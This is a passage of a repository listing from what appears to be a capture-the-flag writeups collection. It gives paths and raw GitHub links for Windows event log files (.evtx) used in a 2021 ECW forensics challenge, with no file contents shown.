-------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Bits-Client%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Bits-Client%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-CloudStore%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-CloudStore%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-CodeIntegrity%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-CodeIntegrity%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Containers-Wcifs%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Containers-Wcifs%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Crypto-DPAPI%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Crypto-DPAPI%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-DeviceSetupManager%4Admin.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-DeviceSetupManager%4Admin.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-DeviceSetupManager%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-DeviceSetupManager%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Dhcp-Client%4Admin.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Dhcp-Client%4Admin.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Dhcpv6-Client%4Admin.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Dhcpv6-Client%4Admin.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Diagnosis-DPS%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Diagnosis-DPS%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Diagnosis-Scheduled%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Diagnosis-Scheduled%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Diagnostics-Performance%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Diagnostics-Performance%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-FileHistory-Core%4WHC.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-FileHistory-Core%4WHC.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-GroupPolicy%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-GroupPolicy%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-HelloForBusiness%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-HelloForBusiness%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-HotspotAuth%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-HotspotAuth%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-International%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-International%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Kernel-Boot%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Kernel-Boot%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Kernel-EventTracing%4Admin.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Kernel-EventTracing%4Admin.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Kernel-PnP%4Configuration.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Kernel-PnP%4Configuration.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Kernel-WHEA%4Errors.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Kernel-WHEA%4Errors.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Kernel-WHEA%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Kernel-WHEA%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Known Folders API Service.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Known Folders API Service.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-LanguagePackSetup%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-LanguagePackSetup%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-LiveId%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-LiveId%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-MUI%4Admin.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-MUI%4Admin.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-MUI%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-MUI%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-ModernDeployment-Diagnostics-Provider%4Admin.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-ModernDeployment-Diagnostics-Provider%4Admin.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-ModernDeployment-Diagnostics-Provider%4Autopilot.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-ModernDeployment-Diagnostics-Provider%4Autopilot.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-ModernDeployment-Diagnostics-Provider%4ManagementService.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-ModernDeployment-Diagnostics-Provider%4ManagementService.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-NCSI%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-NCSI%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-NetworkProfile%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-NetworkProfile%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Ntfs%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Ntfs%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Ntfs%4WHC.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Ntfs%4WHC.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Partition%4Diagnostic.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Partition%4Diagnostic.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-PowerShell%4Admin.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-PowerShell%4Admin.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-PowerShell%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-PowerShell%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Provisioning-Diagnostics-Provider%4Admin.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Provisioning-Diagnostics-Provider%4Admin.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Provisioning-Diagnostics-Provider%4AutoPilot.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Provisioning-Diagnostics-Provider%4AutoPilot.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Provisioning-Diagnostics-Provider%4ManagementService.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Provisioning-Diagnostics-Provider%4ManagementService.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-PushNotification-Platform%4Admin.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-PushNotification-Platform%4Admin.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-PushNotification-Platform%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-PushNotification-Platform%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-ReadyBoost%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-ReadyBoost%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Resource-Exhaustion-Resolver%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Resource-Exhaustion-Resolver%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-RestartManager%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-RestartManager%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-SMBClient%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-SMBClient%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-SMBServer%4Audit.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-SMBServer%4Audit.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-SMBServer%4Connectivity.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-SMBServer%4Connectivity.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-SMBServer%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-SMBServer%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-SMBServer%4Security.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-SMBServer%4Security.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Security-LessPrivilegedAppContainer%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Security-LessPrivilegedAppContainer%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Security-Mitigations%4KernelMode.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Security-Mitigations%4KernelMode.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Security-Mitigations%4UserMode.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Security-Mitigations%4UserMode.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Security-SPP-UX-Notifications%4ActionCenter.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Security-SPP-UX-Notifications%4ActionCenter.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-SettingSync%4Debug.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-SettingSync%4Debug.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-SettingSync%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-SettingSync%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Shell-ConnectedAccountState%4ActionCenter.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Shell-ConnectedAccountState%4ActionCenter.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Shell-Core%4ActionCenter.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Shell-Core%4ActionCenter.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Shell-Core%4AppDefaults.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Shell-Core%4AppDefaults.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Shell-Core%4LogonTasksChannel.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Shell-Core%4LogonTasksChannel.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Shell-Core%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Shell-Core%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-ShellCommon-StartLayoutPopulation%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-ShellCommon-StartLayoutPopulation%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-SmbClient%4Audit.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-SmbClient%4Audit.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-SmbClient%4Connectivity.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-SmbClient%4Connectivity.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-SmbClient%4Security.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-SmbClient%4Security.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-StateRepository%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-StateRepository%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-StateRepository%4Restricted.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-StateRepository%4Restricted.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Storage-ClassPnP%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Storage-ClassPnP%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Storage-Storport%4Health.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Storage-Storport%4Health.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Storage-Storport%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Storage-Storport%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-StorageSpaces-ManagementAgent%4WHC.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-StorageSpaces-ManagementAgent%4WHC.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Store%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Store%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Storsvc%4Diagnostic.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Storsvc%4Diagnostic.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-TWinUI%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-TWinUI%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-TaskScheduler%4Maintenance.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-TaskScheduler%4Maintenance.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Time-Service%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Time-Service%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-UniversalTelemetryClient%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-UniversalTelemetryClient%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-User Device Registration%4Admin.evtx: -------------------------------------------------------------------------------- 